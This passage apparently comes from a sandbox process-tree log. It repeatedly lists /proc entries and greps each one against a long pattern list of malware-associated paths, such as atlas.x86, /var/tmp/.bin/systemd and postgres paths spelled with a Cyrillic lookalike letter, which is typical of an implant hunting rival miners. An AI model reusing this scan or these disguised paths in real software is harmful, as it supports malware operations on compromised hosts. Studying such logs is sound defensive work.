  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:855
- /bin/grep
  grep exe
  2⤵
  PID:858
- /bin/ls
  ls -latrh /proc/22
  2⤵
  PID:857
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:860
- /bin/grep
  grep exe
  2⤵
  PID:863
- /bin/ls
  ls -latrh /proc/23
  2⤵
  PID:862
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:865
- /bin/grep
  grep exe
  2⤵
  PID:868
- /bin/ls
  ls -latrh /proc/24
  2⤵
  PID:867
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:870
- /bin/grep
  grep exe
  2⤵
  PID:873
- /bin/ls
  ls -latrh /proc/245
  2⤵
  PID:872
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:875
- /bin/ls
  ls -latrh /proc/3
  2⤵
  PID:877
- /bin/grep
  grep exe
  2⤵
  PID:878
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:882
- /bin/grep
  grep exe
  2⤵
  PID:885
- /bin/ls
  ls -latrh /proc/333
  2⤵
  PID:884
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:888
- /bin/grep
  grep exe
  2⤵
  PID:892
- /bin/ls
  ls -latrh /proc/335
  2⤵
  PID:891
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:894
- /bin/grep
  grep exe
  2⤵
  PID:898
- /bin/ls
  ls -latrh /proc/337
  2⤵
  PID:897
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:901
- /bin/grep
  grep exe
  2⤵
  PID:905
- /bin/ls
  ls -latrh /proc/338
  2⤵
  PID:904
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:908
- /bin/ls
  ls -latrh /proc/339
  2⤵
  PID:913
- /bin/grep
  grep exe
  2⤵
  PID:914
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:918
- /bin/grep
  grep exe
  2⤵
  PID:921
- /bin/ls
  ls -latrh /proc/36
  2⤵
  PID:920
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:923
- /bin/grep
  grep exe
  2⤵
  PID:927
- /bin/ls
  ls -latrh /proc/37
  2⤵
  PID:926
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:930
- /bin/grep
  grep exe
  2⤵
  PID:934
- /bin/ls
  ls -latrh /proc/375
  2⤵
  PID:933
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:937
- /bin/grep
  grep exe
  2⤵
  PID:940
- /bin/ls
  ls -latrh /proc/376
  2⤵
  PID:939
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:943
- /bin/grep
  grep exe
  2⤵
  PID:947
- /bin/ls
  ls -latrh /proc/385
  2⤵
  PID:946
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:949
- /bin/grep
  grep exe
  2⤵
  PID:953
- /bin/ls
  ls -latrh /proc/390
  2⤵
  PID:952
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:956
- /bin/grep
  grep exe
  2⤵
  PID:959
- /bin/ls
  ls -latrh /proc/4
  2⤵
  PID:958
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:963
- /bin/grep
  grep exe
  2⤵
  PID:966
- /bin/ls
  ls -latrh /proc/465
  2⤵
  PID:965
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:969
- /bin/grep
  grep exe
  2⤵
  PID:973
- /bin/ls
  ls -latrh /proc/479
  2⤵
  PID:972
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:975
- /bin/grep
  grep exe
  2⤵
  PID:979
- /bin/ls
  ls -latrh /proc/5
  2⤵
  PID:978
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:982
- /bin/grep
  grep exe
  2⤵
  PID:985
- /bin/ls
  ls -latrh /proc/511
  2⤵
  PID:984
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:989
- /bin/grep
  grep exe
  2⤵
  PID:992
- /bin/ls
  ls -latrh /proc/512
  2⤵
  PID:991
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:994
- /bin/grep
  grep exe
  2⤵
  PID:999
- /bin/ls
  ls -latrh /proc/6
  2⤵
  PID:998
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1001
- /bin/grep
  grep exe
  2⤵
  PID:1005
- /bin/ls
  ls -latrh /proc/675
  2⤵
  PID:1004
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1010
- /bin/grep
  grep exe
  2⤵
  PID:1013
- /bin/ls
  ls -latrh /proc/688
  2⤵
  PID:1012
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1016
- /bin/grep
  grep exe
  2⤵
  PID:1020
- /bin/ls
  ls -latrh /proc/689
  2⤵
  PID:1019
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1023
- /bin/grep
  grep exe
  2⤵
  PID:1028
- /bin/ls
  ls -latrh /proc/693
  2⤵
  PID:1027
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1031
- /bin/grep
  grep exe
  2⤵
  PID:1034
- /bin/ls
  ls -latrh /proc/694
  2⤵
  PID:1033
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1038
- /bin/grep
  grep exe
  2⤵
  PID:1041
- /bin/ls
  ls -latrh /proc/695
  2⤵
  PID:1040
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1045
- /bin/grep
  grep exe
  2⤵
  PID:1049
- /bin/ls
  ls -latrh /proc/696
  2⤵
  PID:1048
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1051
- /bin/grep
  grep exe
  2⤵
  PID:1055
- /bin/ls
  ls -latrh /proc/7
  2⤵
  PID:1054
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1057
- /bin/grep
  grep exe
  2⤵
  PID:1060
- /bin/ls
  ls -latrh /proc/70
  2⤵
  PID:1059
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1062
- /bin/ls
  ls -latrh /proc/702
  2⤵
  PID:1065
- /bin/grep
  grep exe
  2⤵
  PID:1066
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1068
- /bin/grep
  grep exe
  2⤵
  PID:1071
- /bin/ls
  ls -latrh /proc/703
  2⤵
  PID:1070
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1073
- /bin/grep
  grep exe
